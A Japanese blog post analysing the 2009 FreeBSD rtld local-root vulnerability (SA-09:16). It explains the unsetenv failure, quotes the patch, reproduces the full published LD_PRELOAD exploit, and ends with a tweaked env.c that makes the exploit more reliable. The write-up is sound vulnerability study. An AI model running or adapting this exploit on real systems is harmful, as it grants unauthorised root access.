FreeBSD-SA-09:16.rtldとexploit codeの動作

2009/12/3に3つのSAが公開された。そのうちの一つが、ローカルユーザがroot権限を奪取可能なFreeBSD-SA-09:16.rtldだった。Security Advisory公開の前にexploit codeが公開されたり、exploit codeがきわめて簡単なコードで確実に動作することから、結構な話題になった。久々の大型案件だったので、K*BUG総会で発表したから、こっちにも記録を残しておく。

exploit codeの公開

はじまりは、Full Disclosureに投稿された一通のメール(Full Disclosure: ** FreeBSD local r00t zeroday)だった。メールには、最近のバージョンのFreeBSDに含まれるRun Time Link Editorに不具合があり、ローカルユーザがroot権限を奪取できることと、動作可能なexploit codeが記載されていた。メールを見た何人かがexploit codeを実行して、root権限の奪取に成功したことが報告され、大騒ぎに発展した。

exploit codeの内容

exploit codeの内容は、以下の通り。

#!/bin/sh
echo ** FreeBSD local r00t zeroday
echo by Kingcope
echo November 2009
cat > env.c << _EOF
#include <stdio.h>

main() {
        extern char **environ;
        environ = (char**)malloc(8096);

        environ[0] = (char*)malloc(1024);
        environ[1] = (char*)malloc(1024);
        strcpy(environ[1], "LD_PRELOAD=/tmp/w00t.so.1.0");

        execl("/sbin/ping", "ping", 0);
}
_EOF
gcc env.c -o env
cat > program.c << _EOF
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
        extern char **environ;
        environ=NULL;
        system("echo ALEX-ALEX;/bin/sh");
}
_EOF
gcc -o program.o -c program.c -fPIC
gcc -shared -Wl,-soname,w00t.so.1 -o w00t.so.1.0 program.o -nostartfiles
cp w00t.so.1.0 /tmp/w00t.so.1.0
./env

exploit codeは、env.cとprogram.cの二つに分かれている。
env.cは、環境変数に細工をした上でLD_PRELOAD環境変数を指定し、pingを実行するプログラムである。program.cは、環境変数を空にして、/bin/shを起動するプログラムで、共有ライブラリw00t.so.1.0としてコンパイルされる。
env.cがpingを実行する際に、LD_PRELOADで指定されたw00t.so.1.0をロードすることにより、/bin/shがroot権限で実行されるため、ローカルユーザがroot権限を奪取することができてしまう。

脆弱性の原因

脆弱性の原因は、rtld(1)と、その中で使用されているunsetenv(3)にある。
rtld(1)は、Run Time Link Editorと呼ばれ、プログラムを実行する際に共有ライブラリをロードする役割を担っている。共有ライブラリのロードは、いくつかの環境変数で指定することができるが、セキュリティ上の理由により、setuid/setgidされたプログラムを実行する際には、特定の環境変数を無効化する必要がある。
環境変数を無効化しているのは、src/libexec/rtld-elf/rtld.cの以下の部分である。なお、以下ではsourceはすべてFreeBSD 8.0-RELEASE(RELENG_8_0_0_RELEASE)のものを掲載している。

func_ptr_type
_rtld(Elf_Addr *sp, func_ptr_type *exit_proc, Obj_Entry **objp)
{
    Elf_Auxinfo *aux_info[AT_COUNT];
(snip)
    trust = !issetugid();

    ld_bind_now = getenv(LD_ "BIND_NOW");
    /* 
     * If the process is tainted, then we un-set the dangerous environment
     * variables.  The process will be marked as tainted until setuid(2)
     * is called.  If any child process calls setuid(2) we do not want any
     * future processes to honor the potentially un-safe variables.
     */
    if (!trust) {
        unsetenv(LD_ "PRELOAD");
        unsetenv(LD_ "LIBMAP");
        unsetenv(LD_ "LIBRARY_PATH");
        unsetenv(LD_ "LIBMAP_DISABLE");
        unsetenv(LD_ "DEBUG");
        unsetenv(LD_ "ELF_HINTS_PATH");
    }

(snip)

    /* Return the exit procedure and the program entry point. */
    *exit_proc = rtld_exit;
    *objp = obj_main;
    return (func_ptr_type) obj_main->entry;
}

setuid/setgidされている場合は、LD_PRELOADを含む6つの環境変数を、unsetenv(3)を使って無効化している。unsetenv(3)はlibcのstdlibに含まれるライブラリルーチンで、src/lib/libc/stdlib/getenv.cで以下の通り実装されている。

/*
 * Unset variable with the same name by flagging it as inactive.  No variable is
 * ever freed.
 */
int
unsetenv(const char *name)
{
	int envNdx;
	size_t nameLen;

	/* Check for malformed name. */
	if (name == NULL || (nameLen = __strleneq(name)) == 0) {
		errno = EINVAL;
		return (-1);
	}

	/* Initialize environment. */
	if (__merge_environ() == -1 || (envVars == NULL && __build_env() == -1))
		return (-1);

	/* Deactivate specified variable. */
	envNdx = envVarsTotal - 1;
	if (__findenv(name, nameLen, &envNdx, true) != NULL) {
		envVars[envNdx].active = false;
		if (envVars[envNdx].putenv)
			__remove_putenv(envNdx);
		__rebuild_environ(envActive - 1);
	}

	return (0);
}

unsetenv(3)は、引数として渡された環境変数名がNULLまたは長さ0でないかどうかのチェックを行う。次に__merge_environ()と__build_env()を実行して、環境変数を構築する。exploit codeでは、__build_env()の処理でエラーとなるため、環境変数の無効化に失敗する。__build_env()の実装は以下の通り。

static int
__build_env(void)
{
	char **env;
	int activeNdx;
	int envNdx;
	int savedErrno;
	size_t nameLen;

	/* Check for non-existant environment. */
	if (environ == NULL || environ[0] == NULL)
		return (0);

	/* Count environment variables. */
	for (env = environ, envVarsTotal = 0; *env != NULL; env++)
		envVarsTotal++;
	envVarsSize = envVarsTotal * 2;

	/* Create new environment. */
	envVars = calloc(1, sizeof (*envVars) * envVarsSize);
	if (envVars == NULL)
		goto Failure;

	/* Copy environ values and keep track of them. */
	for (envNdx = envVarsTotal - 1; envNdx >= 0; envNdx--) {
		envVars[envNdx].putenv = false;
		envVars[envNdx].name =
		    strdup(environ[envVarsTotal - envNdx - 1]);
		if (envVars[envNdx].name == NULL)
			goto Failure;
		envVars[envNdx].value = strchr(envVars[envNdx].name, '=');
		if (envVars[envNdx].value != NULL) {
			envVars[envNdx].value++;
			envVars[envNdx].valueSize =
			    strlen(envVars[envNdx].value);
		} else {
			__env_warnx(CorruptEnvValueMsg, envVars[envNdx].name,
			    strlen(envVars[envNdx].name));
			errno = EFAULT;
			goto Failure;
		}
(snip)
Failure:
	savedErrno = errno;
	__clean_env(true);
	errno = savedErrno;

	return (-1);
}

"Copy environ values and keep track of them."の部分で、envNdxを使って環境変数の配列を順番に処理していくが、環境変数の配列要素がNULLか、要素に"="を含まない場合にgoto Failureでエラーになり、unsetenv(3)は失敗する。
unsetenv(3)に失敗した後は、_rtld()の処理に戻り、環境変数LD_PRELOAD等は有効のまま、rtldの処理が継続される。もし実行したプログラムがsetuid rootされていて、LD_PRELOADに指定されpreloadされる共有ライブラリが/bin/shを実行する共有ライブラリだったら、root権限で/bin/shが実行されることになり、今回の脆弱性となる。

対策

今回のSAで出されたpatchは以下の通り。unsetenv(3)が失敗した場合には、エラーを表示して実行を停止するように変更されている。unsetenv(3)に失敗する部分はそのまま。環境変数の保持方法とgetenv.c内の処理方法を考慮すると、根本的に手を入れるのはすぐには難しそうなので、妥当なところだと思う。

Index: libexec/rtld-elf/rtld.c
===================================================================
--- libexec/rtld-elf/rtld.c	(revision 199978)
+++ libexec/rtld-elf/rtld.c	(revision 199979)
@@ -366,12 +366,12 @@
      * future processes to honor the potentially un-safe variables.
      */
     if (!trust) {
-        unsetenv(LD_ "PRELOAD");
-        unsetenv(LD_ "LIBMAP");
-        unsetenv(LD_ "LIBRARY_PATH");
-        unsetenv(LD_ "LIBMAP_DISABLE");
-        unsetenv(LD_ "DEBUG");
-        unsetenv(LD_ "ELF_HINTS_PATH");
+        if (unsetenv(LD_ "PRELOAD") || unsetenv(LD_ "LIBMAP") ||
+	    unsetenv(LD_ "LIBRARY_PATH") || unsetenv(LD_ "LIBMAP_DISABLE") ||
+	    unsetenv(LD_ "DEBUG") || unsetenv(LD_ "ELF_HINTS_PATH")) {
+		_rtld_error("environment corrupt; aborting");
+		die();
+	}
     }
     ld_debug = getenv(LD_ "DEBUG");
     libmap_disable = getenv(LD_ "LIBMAP_DISABLE") != NULL;

まとめ

FreeBSD-SA-09:16.rtldと、exploit codeの内容およびなぜexploitが動作するかについてを見てきた。
今回の脆弱性は、unsetenv(3)の失敗を考慮しなかったことが原因で発生したものであり、実装に当たっては例外処理が重要であることを再認識させてくれた。以下のマーフィーの法則を心に刻んで、処理を実装する際の指針としたいところである。

"Anything that can go wrong will go wrong."
"Everything that can possibly go wrong will go wrong."
「うまく行かなくなりうるものは何でも、うまく行かなくなる。」
「何事であれ失敗する可能性のあるものは、いずれ失敗する。」

マーフィーの法則 - Wikipedia

また、この脆弱性の原因となった変更はrtld.cRevision 1.124だが、変更されたのは2007/05/17である。このような単純な脆弱性が2年半も存在していたことには、驚きを禁じ得ない。発見者に敬意を表するとともに、同種の罠が他にないかどうか、チェックのために微力を尽くしたい。

おまけ - exploit codeの改良

投稿されたexploit codeには、わずかではあるが動作しない可能性がある。environ[1]に、mallocで確保した1024バイトの未初期化領域をそのまま使用しているが、未初期化領域の中に"="を含む可能性がわずかながら存在する。env.cを以下の通り修正すれば、確実に動作するようになる。

#include <stdio.h>

main() {
        extern char **environ;
        environ = (char**)malloc(8096);

        environ[0] = "hoge";
        environ[1] = (char*)malloc(1024);
        strcpy(environ[1], "LD_PRELOAD=/tmp/w00t.so.1.0");

        execl("/sbin/ping", "ping", 0);
}